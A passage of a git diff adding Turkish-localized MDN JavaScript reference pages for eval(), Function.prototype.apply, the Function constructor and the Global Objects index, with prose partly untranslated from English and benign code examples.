to be accessed is not known until the code is executed. This can be done with eval:</p> + +<pre class="brush:js">var obj = { a: 20, b: 30 }; +var propName = getPropName(); // returns "a" or "b" + +eval( 'var result = obj.' + propName ); +</pre> + +<p>However, <code>eval()</code> is not necessary here. In fact, its use here is discouraged. Instead, use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="JavaScript/Reference/Operators/Member_Operators">property accessors</a>, which are much faster and safer:</p> + +<pre class="brush:js">var obj = { a: 20, b: 30 }; +var propName = getPropName(); // returns "a" or "b" +var result = obj[ propName ]; // obj[ "a" ] is the same as obj.a</pre> + +<p>You can even use this method to access descendant properties. Using <code>eval()</code> this would look like:</p> + +<pre class="brush:js">var obj = {a: {b: {c: 0}}}; +var propPath = getPropPath(); // returns e.g. "a.b.c" + +eval( 'var result = obj.' + propPath ); +</pre> + +<p>Avoiding <code>eval()</code> here could be done by splitting the property path and looping through the different properties:</p> + +<pre class="brush:js">function getDescendantProp(obj, desc) { + var arr = desc.split('.'); + while (arr.length) { + obj = obj[arr.shift()]; + } + return obj; +} + +var obj = {a: {b: {c: 0}}}; +var propPath = getPropPath(); // returns e.g. "a.b.c" +var result = getDescendantProp(obj, propPath);</pre> + +<p>Setting a property that way works similarly:</p> + +<pre class="brush:js">function setDescendantProp(obj, desc, value) { + var arr = desc.split('.'); + while (arr.length > 1) { + obj = obj[arr.shift()]; + } + return obj[arr[0]] = value; +} + +var obj = {a: {b: {c: 0}}}; +var propPath = getPropPath(); // returns e.g. "a.b.c" +var result = setDescendantProp(obj, propPath, 1); // test.a.b.c will now be 1</pre> + +<h3 id="Use_functions_instead_of_evaluating_snippets_of_code">Use functions instead of evaluating snippets of code</h3> + +<p>JavaScript has <a class="external" href="http://en.wikipedia.org/wiki/First-class_function" title="http://en.wikipedia.org/wiki/First-class_function">first-class functions</a>, which means you can pass functions as arguments to other APIs, store them in variables and objects' properties, and so on. Many DOM APIs are designed with this in mind, so you can (and should) write:</p> + +<pre class="brush: js">// instead of setTimeout(" ... ", 1000) use: +setTimeout(function() { ... }, 1000); + +// instead of elt.setAttribute("onclick", "...") use: +elt.addEventListener('click', function() { ... } , false); </pre> + +<p><a href="/en-US/docs/Web/JavaScript/Closures" title="JavaScript/Guide/Closures">Closures</a> are also helpful as a way to create parameterized functions without concatenating strings.</p> + +<h3 id="Parsing_JSON_(converting_strings_to_JavaScript_objects)">Parsing JSON (converting strings to JavaScript objects)</h3> + +<p>If the string you're calling <code>eval()</code> on contains data (for example, an array: <code>"[1, 2, 3]"</code>), as opposed to code, you should consider switching to <a href="/en-US/docs/Glossary/JSON" title="JSON">JSON</a>, which allows the string to use a subset of JavaScript syntax to represent data. See also <a href="/en-US/docs/Downloading_JSON_and_JavaScript_in_extensions" title="Downloading_JSON_and_JavaScript_in_extensions">Downloading JSON and JavaScript in extensions</a>.</p> + +<p>Note that since JSON syntax is limited compared to JavaScript syntax, many valid JavaScript literals will not parse as JSON. For example, trailing commas are not allowed in JSON, and property names (keys) in object literals must be enclosed in quotes. Be sure to use a JSON serializer to generate strings that will be later parsed as JSON.</p> + +<h3 id="Pass_data_instead_of_code">Pass data instead of code</h3> + +<p>For example, an extension designed to scrape contents of web-pages could have the scraping rules defined in <a href="/en-US/docs/XPath" title="XPath">XPath</a> instead of JavaScript code.</p> + +<h3 id="Run_code_with_limited_privileges">Run code with limited privileges</h3> + +<p>If you must run the code, consider running it with reduced privileges. This advice applies mainly to extensions and XUL applications, which can use <a href="/en-US/docs/Components.utils.evalInSandbox" title="Components.utils.evalInSandbox">Components.utils.evalInSandbox</a> for this.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Using_eval">Using <code>eval</code></h3> + +<p>In the following code, both of the statements containing <code>eval()</code> return 42. The first evaluates the string "<code>x + y + 1</code>"; the second evaluates the string "<code>42</code>".</p> + +<pre class="brush:js">var x = 2; +var y = 39; +var z = '42'; +eval('x + y + 1'); // returns 42 +eval(z); // returns 42 +</pre> + +<h3 id="Using_eval_to_evaluate_a_string_of_JavaScript_statements">Using <code>eval</code> to evaluate a string of JavaScript statements</h3> + +<p>The following example uses <code>eval()</code> to evaluate the string <code>str</code>. This string consists of JavaScript statements that open an alert dialog box and assign <code>z</code> a value of 42 if <code>x</code> is five, and assigns 0 to <code>z</code> otherwise. When the second statement is executed, <code>eval()</code> will cause these statements to be performed, and it will also evaluate the set of statements and return the value that is assigned to <code>z</code>.</p> + +<pre class="brush:js">var x = 5; +var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0;"; + +console.log('z is ', eval(str));</pre> + +<p>If you define multiple values then the last value is returned.</p> + +<pre class="brush:js">var x = 5; +var str = "if (x == 5) {console.log('z is 42'); z = 42; x = 420; } else z = 0;"; + +console.log('x is ', eval(str)); // z is 42 x is 420 +</pre> + + + +<h3 id="Last_expression_is_evaluated">Last expression is evaluated</h3> + +<p><code>eval()</code> returns the value of the last expression evaluated.</p> + +<pre class="brush:js">var str = 'if ( a ) { 1 + 1; } else { 1 + 2; }'; +var a = true; +var b = eval(str); // returns 2 + +console.log('b is : ' + b); + +a = false; +b = eval(str); // returns 3 + +console.log('b is : ' + b);</pre> + +<h3 id="eval_as_a_string_defining_function_requires_(_and_)_as_prefix_and_suffix"><code>eval</code> as a string defining function requires "(" and ")" as prefix and suffix</h3> + +<pre class="brush:js">var fctStr1 = 'function a() {}' +var fctStr2 = '(function a() {})' +var fct1 = eval(fctStr1) // return undefined +var fct2 = eval(fctStr2) // return a function +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.1.2.1', 'eval')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-eval-x', 'eval')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-eval-x', 'eval')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.builtins.eval")}}</p> + +<h2 id="Firefox-specific_notes">Firefox-specific notes</h2> + +<ul> + <li>Historically <code>eval()</code> had an optional second argument, specifying an object in whose context the evaluation was to be performed. This argument was non-standard, and was definitely removed from Firefox 4. See {{bug(531675)}}.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Global_Objects/uneval", "uneval()")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Property accessors</a></li> + <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts#Using_eval()_in_content_scripts">WebExtensions: Using eval in content scripts</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/function/apply/index.html b/files/tr/web/javascript/reference/global_objects/function/apply/index.html new file mode 100644 index 0000000000..5a82d226a3 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/function/apply/index.html @@ -0,0 +1,262 @@ +--- +title: Function.prototype.apply() +slug: Web/JavaScript/Reference/Global_Objects/Function/apply +translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply +--- +<div>{{JSRef}}</div> + +<p><code><strong>apply()</strong></code> methodu ile verilen bir "this" değeri ve diziyi(ya da dizi benzeri bir nesneyi) kullanarak bağımsız değişkenlerle bir işlevi(function) çağırır.</p> + +<div class="note"> +<p><strong>Not:</strong> <strong>call() , apply() </strong>syntaxları sizin de dikkat ettiğiniz gibi aynıdır. farkları şudur: <strong>call() </strong>: bir argüman listesini argüman olarak alırken, <strong>apply() </strong>argümanlardan oluşmuş bir array'ı argüman olarak kabul alır. </p> +</div> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>fun</var>.apply(<var>thisArg, </var>[<var>argsArray</var>])</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>thisArg</code></dt> + <dd>fun' ı çağırmak için atanan this in değeridir. Unutmayın, this,method tarafından görülen gerçek değer olmayabilir.: eğer method{{jsxref("Strict_mode", "non-strict mode", "", 1)}} içindeki bir kod ise{{jsxref("null")}}ve {{jsxref("undefined")}}global object ile yer değiştirecek, ve ilk değerleri saklanacak.</dd> + <dt><code>argsArray</code></dt> + <dd> + <p>Eğer fonkiyona hiç bir parametre verilmeyecekse dizi benzeri bir nesne (çağrılacak fun'ın argümanlarını belirler), veya {{jsxref("null")}} veya {{jsxref("undefined")}}. ECMAScript 5 ile, bu argümanlar dizi yerine eşdeğer dizi benzeri nesne olabilir. {{anch("Browser_compatibility", "browser compatibility")}} için aşağıya bakın.</p> + </dd> +</dl> + +<h3 id="Dönen_değer">Dönen değer</h3> + +<p><strong><code>this</code></strong> değeri ve argümanlar ile çağrılan fonksiyonun sonucu.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Varolan bir fonksiyonu çağırdığınızda farklı bir <strong>this</strong> objesi atayabilirsiniz. Burada <strong>this</strong> geçerli nesneyi (çağıran objeyi ) ifade eder. <strong>Apply</strong> ile bir kez yazılmış bir methodu başka bir objeden miras alarak aynı fonksiyonu tekrar yazmaktan kurtulmuş olursunuz. </p> + +<p><code>apply</code> is very similar to {{jsxref("Function.call", "call()")}}, except for the type of arguments it supports. You can use an arguments array instead of a named set of parameters. With <code>apply</code>, you can use an array literal, for example, <code><em>fun</em>.apply(this, ['eat', 'bananas'])</code>, or an {{jsxref("Array")}} object, for example, <code><em>fun</em>.apply(this, new Array('eat', 'bananas'))</code>.</p> + +<p>You can also use {{jsxref("Functions/arguments", "arguments")}} for the <code>argsArray</code> parameter. <code>arguments</code> is a local variable of a function. It can be used for all unspecified arguments of the called object. Thus, you do not have to know the arguments of the called object when you use the <code>apply</code> method. You can use <code>arguments</code> to pass all the arguments to the called object. The called object is then responsible for handling the arguments.</p> + +<p>Since ECMAScript 5th Edition you can also use any kind of object which is array-like, so in practice this means it's going to have a property <code>length</code> and integer properties in the range <code>(0...length-1)</code>. As an example you can now use a {{domxref("NodeList")}} or a custom object like <code>{ 'length': 2, '0': 'eat', '1': 'bananas' }</code>.</p> + +<div class="note"> +<p>Most browsers, including Chrome 14 and Internet Explorer 9, still do not accept array-like objects and will throw an exception.</p> +</div> + +<h2 id="Examples">Examples</h2> + +<h3 id="Using_apply_to_chain_constructors">Using <code>apply</code> to chain constructors</h3> + +<p>You can use <code>apply</code> to chain {{jsxref("Operators/new", "constructors", "", 1)}} for an object, similar to Java. In the following example we will create a global {{jsxref("Function")}} method called <code>construct</code>, which will enable you to use an array-like object with a constructor instead of an arguments list.</p> + +<pre class="brush: js">Function.prototype.construct = function (aArgs) { + var oNew = Object.create(this.prototype); + this.apply(oNew, aArgs); + return oNew; +}; +</pre> + +<div class="note"> +<p><strong>Note:</strong> The <code>Object.create()</code> method used above is relatively new. For an alternative method using closures, please consider the following alternative:</p> + +<pre class="brush: js">Function.prototype.construct = function(aArgs) { + var fConstructor = this, fNewConstr = function() { + fConstructor.apply(this, aArgs); + }; + fNewConstr.prototype = fConstructor.prototype; + return new fNewConstr(); +};</pre> +</div> + +<p>Example usage:</p> + +<pre class="brush: js">function MyConstructor() { + for (var nProp = 0; nProp < arguments.length; nProp++) { + this['property' + nProp] = arguments[nProp]; + } +} + +var myArray = [4, 'Hello world!', false]; +var myInstance = MyConstructor.construct(myArray); + +console.log(myInstance.property1); // logs 'Hello world!' +console.log(myInstance instanceof MyConstructor); // logs 'true' +console.log(myInstance.constructor); // logs 'MyConstructor' +</pre> + +<div class="note"> +<p><strong>Note:</strong> This non-native <code>Function.construct</code> method will not work with some native constructors (like {{jsxref("Date")}}, for example). In these cases you have to use the {{jsxref("Function.prototype.bind")}} method (for example, imagine having an array like the following, to be used with {{jsxref("Global_Objects/Date", "Date")}} constructor: <code>[2012, 11, 4]</code>; in this case you have to write something like: <code>new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()</code> — anyhow this is not the best way to do things and probably should not be used in any production environment).</p> +</div> + +<h3 id="Using_apply_and_built-in_functions">Using <code>apply</code> and built-in functions</h3> + +<p>Clever usage of <code>apply</code> allows you to use built-ins functions for some tasks that otherwise probably would have been written by looping over the array values. As an example here we are going to use <code>Math.max</code>/<code>Math.min</code> to find out the maximum/minimum value in an array.</p> + +<pre class="brush: js">// min/max number in an array +var numbers = [5, 6, 2, 3, 7]; + +// using Math.min/Math.max apply +var max = Math.max.apply(null, numbers); +// This about equal to Math.max(numbers[0], ...) +// or Math.max(5, 6, ...) + +var min = Math.min.apply(null, numbers); + +// vs. simple loop based algorithm +max = -Infinity, min = +Infinity; + +for (var i = 0; i < numbers.length; i++) { + if (numbers[i] > max) { + max = numbers[i]; + } + if (numbers[i] < min) { + min = numbers[i]; + } +} +</pre> + +<p>But beware: in using <code>apply</code> this way, you run the risk of exceeding the JavaScript engine's argument length limit. The consequences of applying a function with too many arguments (think more than tens of thousands of arguments) vary across engines (JavaScriptCore has hard-coded <a class="link-https" href="https://bugs.webkit.org/show_bug.cgi?id=80797">argument limit of 65536</a>), because the limit (indeed even the nature of any excessively-large-stack behavior) is unspecified. Some engines will throw an exception. More perniciously, others will arbitrarily limit the number of arguments actually passed to the applied function. (To illustrate this latter case: if such an engine had a limit of four arguments [actual limits are of course significantly higher], it would be as if the arguments <code>5, 6, 2, 3</code> had been passed to <code>apply</code> in the examples above, rather than the full array.) If your value array might grow into the tens of thousands, use a hybrid strategy: apply your function to chunks of the array at a time:</p> + +<pre class="brush: js">function minOfArray(arr) { + var min = Infinity; + var QUANTUM = 32768; + + for (var i = 0, len = arr.length; i < len; i += QUANTUM) { + var submin = Math.min.apply(null, + arr.slice(i, Math.min(i+QUANTUM, len))); + min = Math.min(submin, min); + } + + return min; +} + +var min = minOfArray([5, 6, 2, 3, 7]); +</pre> + +<h3 id="Using_apply_in_monkey-patching">Using apply in "monkey-patching"</h3> + +<p>Apply can be the best way to monkey-patch a built-in function of Firefox, or JS libraries. Given <code>someobject.foo</code> function, you can modify the function in a somewhat hacky way, like so:</p> + +<pre class="brush: js">var originalfoo = someobject.foo; +someobject.foo = function() { + // Do stuff before calling function + console.log(arguments); + // Call the function as it would have been called normally: + originalfoo.apply(this, arguments); + // Run stuff after, here. +} +</pre> + +<p>This method is especially handy where you want to debug events, or interface with something that has no API like the various <code>.on([event]...</code> events, such as those usable on the <a href="/en-US/docs/Tools/Page_Inspector#Developer_API">Devtools Inspector</a>).</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition. Implemented in JavaScript 1.3.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Functions/arguments", "arguments")}} object</li> + <li>{{jsxref("Function.prototype.bind()")}}</li> + <li>{{jsxref("Function.prototype.call()")}}</li> + <li>{{jsxref("Functions", "Functions and function scope", "", 1)}}</li> + <li>{{jsxref("Reflect.apply()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/function/index.html b/files/tr/web/javascript/reference/global_objects/function/index.html new file mode 100644 index 0000000000..912f1acf1e --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/function/index.html @@ -0,0 +1,189 @@ +--- +title: Function +slug: Web/JavaScript/Reference/Global_Objects/Function +tags: + - fonksiyon + - yapıcı +translation_of: Web/JavaScript/Reference/Global_Objects/Function +--- +<div>{{JSRef}}</div> + +<p><strong><code>Fonksiyon</code> yapıcısı</strong> yeni bir <code>Fonksiyon </code>nesnesi yaratır. JavaScript'de her fonksiyon aslında bir <code>Fonksiyon</code> nesnesidir.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><code>new Function ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> + <dd>Names to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd> + <dt><code>functionBody</code></dt> + <dd>A string containing the JavaScript statements comprising the function definition.</dd> +</dl> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code>Function</code> objects created with the <code>Function</code> constructor are parsed when the function is created. This is less efficient than declaring a function with a <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> and calling it within your code, because such functions are parsed with the rest of the code.</p> + +<p>All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.</p> + +<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p> + +<h2 id="Properties_and_Methods_of_Function">Properties and Methods of <code>Function</code></h2> + +<p>The global <code>Function</code> object has no methods or properties of its own, however, since it is a function itself it does inherit some methods and properties through the prototype chain from {{jsxref("Function.prototype")}}.</p> + +<h2 id="Function_prototype_object"><code>Function</code> prototype object</h2> + +<h3 id="Properties">Properties</h3> + +<div>{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Properties')}}</div> + +<h3 id="Methods">Methods</h3> + +<div>{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Methods')}}</div> + +<h2 id="Function_instances"><code>Function</code> instances</h2> + +<p><code>Function</code> instances inherit methods and properties from {{jsxref("Function.prototype")}}. As with all constructors, you can change the constructor's prototype object to make changes to all <code>Function</code> instances.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Specifying_arguments_with_the_Function_constructor">Specifying arguments with the <code>Function</code> constructor</h3> + +<p>The following code creates a <code>Function</code> object that takes two arguments.</p> + +<pre class="brush: js">// Example can be run directly in your JavaScript console + +// Create a function that takes two arguments and returns the sum of those arguments +var adder = new Function('a', 'b', 'return a + b'); + +// Call the function +adder(2, 6); +// > 8 +</pre> + +<p>The arguments "<code>a</code>" and "<code>b</code>" are formal argument names that are used in the function body, "<code>return a + b</code>".</p> + +<h3 id="Difference_between_Function_constructor_and_function_declaration">Difference between Function constructor and function declaration</h3> + +<p>Functions created with the <code>Function</code> constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the <code>Function</code> constructor was called. This is different from using {{jsxref("eval")}} with code for a function expression.</p> + +<pre class="brush: js">var x = 10; + +function createFunction1() { + var x = 20; + return new Function("return x;"); // this |x| refers global |x| +} + +function createFunction2() { + var x = 20; + function f() { + return x; // this |x| refers local |x| above + } + return f; +} + +var f1 = createFunction1(); +console.log(f1()); // 10 +var f2 = createFunction2(); +console.log(f2()); // 20 +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.0.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.3', 'Function')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-function-objects', 'Function')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-function-objects', 'Function')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Functions", "Functions and function scope")}}</li> + <li>{{jsxref("Function")}}</li> + <li>{{jsxref("Statements/function", "function statement")}}</li> + <li>{{jsxref("Operators/function", "function expression")}}</li> + <li>{{jsxref("Statements/function*", "function* statement")}}</li> + <li>{{jsxref("Operators/function*", "function* expression")}}</li> + <li>{{jsxref("GeneratorFunction")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/index.html b/files/tr/web/javascript/reference/global_objects/index.html new file mode 100644 index 0000000000..b03aa1f2d1 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/index.html @@ -0,0 +1,178 @@ +--- +title: Global Objeler +slug: Web/JavaScript/Reference/Global_Objects +tags: + - JavaScript + - Referensi +translation_of: Web/JavaScript/Reference/Global_Objects +--- +<div>{{jsSidebar("Objects")}}</div> + +<p>This chapter documents all of JavaScript's standard, built-in objects, including their methods and properties.</p> + +<div class="onlyinclude"> +<p>The term "global objects" (or standard built-in objects) here is not to be confused with the <strong>global object</strong>. Here, global objects refer to <strong>objects in the global scope</strong> (but only if ECMAScript 5 strict mode is not used; in that case it returns <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a>). The <strong>global object</strong> itself can be accessed using the {{jsxref("Operators/this", "this")}} operator in the global scope. In fact, the global scope <strong>consists of</strong> the properties of the global object, including inherited properties, if any.</p> + +<p>Other objects in the global scope are either <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">created by the user script</a> or provided by the host application. The host objects available in browser contexts are documented in the <a href="/en-US/docs/Web/API/Reference">API reference</a>. For more information about the distinction between the <a href="/en-US/docs/DOM/DOM_Reference">DOM</a> and core <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, see <a href="/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript technologies overview</a>.</p> + +<h2 id="Standard_objects_by_category">Standard objects (by category)</h2> + +<h3 id="Value_properties">Value properties</h3> + +<p>These global properties return a simple value; they have no properties or methods.</p> + +<ul> + <li>{{jsxref("Infinity")}}</li> + <li>{{jsxref("NaN")}}</li> + <li>{{jsxref("undefined")}}</li> + <li>{{jsxref("null")}} literal</li> +</ul> + +<h3 id="Function_properties">Function properties</h3> + +<p>These global functions—functions which are called globally rather than on an object—directly return their results to the caller.</p> + +<ul> + <li>{{jsxref("Global_Objects/eval", "eval()")}}</li> + <li>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</li> + <li>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</li> + <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li> + <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li> + <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li> + <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li> + <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li> + <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li> + <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li> + <li>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</li> + <li>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</li> +</ul> + +<h3 id="Fundamental_objects">Fundamental objects</h3> + +<p>These are the fundamental, basic objects upon which all other objects are based. This includes objects that represent general objects, functions, and errors.</p> + +<ul> + <li>{{jsxref("Object")}}</li> + <li>{{jsxref("Function")}}</li> + <li>{{jsxref("Boolean")}}</li> + <li>{{jsxref("Symbol")}} {{experimental_inline}}</li> + <li>{{jsxref("Error")}}</li> + <li>{{jsxref("EvalError")}}</li> + <li>{{jsxref("InternalError")}}</li> + <li>{{jsxref("RangeError")}}</li> + <li>{{jsxref("ReferenceError")}}</li> + <li>{{jsxref("SyntaxError")}}</li> + <li>{{jsxref("TypeError")}}</li> + <li>{{jsxref("URIError")}}</li> +</ul> + +<h3 id="Numbers_and_dates">Numbers and dates</h3> + +<p>These are the base objects representing numbers, dates, and mathematical calculations.</p> + +<ul> + <li>{{jsxref("Number")}}</li> + <li>{{jsxref("Math")}}</li> + <li>{{jsxref("Date")}}</li> +</ul> + +<h3 id="Text_processing">Text processing</h3> + +<p>These objects represent strings and support manipulating them.</p> + +<ul> + <li>{{jsxref("String")}}</li> + <li>{{jsxref("RegExp")}}</li> +</ul> + +<h3 id="Indexed_collections">Indexed collections</h3> + +<p>These objects represent collections of data which are ordered by an index value. This includes (typed) arrays and array-like constructs.</p> + +<ul> + <li>{{jsxref("Array")}}</li> + <li>{{jsxref("Int8Array")}}</li> + <li>{{jsxref("Uint8Array")}}</li> + <li>{{jsxref("Uint8ClampedArray")}}</li> + <li>{{jsxref("Int16Array")}}</li> + <li>{{jsxref("Uint16Array")}}</li> + <li>{{jsxref("Int32Array")}}</li> + <li>{{jsxref("Uint32Array")}}</li> + <li>{{jsxref("Float32Array")}}</li> + <li>{{jsxref("Float64Array")}}</li> +</ul> + +<h3 id="Keyed_collections">Keyed collections</h3> + +<p>These objects represent collections which use keys; these contain elements which are iterable in the order of insertion.</p> + +<ul> + <li>{{jsxref("Map")}} {{experimental_inline}}</li> + <li>{{jsxref("Set")}} {{experimental_inline}}</li> + <li>{{jsxref("WeakMap")}} {{experimental_inline}}</li> + <li>{{jsxref("WeakSet")}} {{experimental_inline}}</li> +</ul> + +<h3 id="Vector_collections">Vector collections</h3> + +<p>{{Glossary("SIMD")}} vector data types are objects where data is arranged into lanes.</p> + +<ul> + <li>{{jsxref("SIMD")}} {{experimental_inline}}</li> + <li>{{jsxref("float32x4", "SIMD.float32x4")}} {{experimental_inline}}</li> + <li>{{jsxref("float64x2", "SIMD.float64x2")}} {{experimental_inline}}</li> + <li>{{jsxref("int8x16", "SIMD.int8x16")}} {{experimental_inline}}</li> + <li>{{jsxref("int16x8", "SIMD.int16x8")}} {{experimental_inline}}</li> + <li>{{jsxref("int32x4", "SIMD.int32x4")}} {{experimental_inline}}</li> +</ul> + +<h3 id="Structured_data">Structured data</h3> + +<p>These objects represent and interact with structured data buffers and data coded using JavaScript Object Notation (JSON).</p> + +<ul> + <li>{{jsxref("ArrayBuffer")}}</li> + 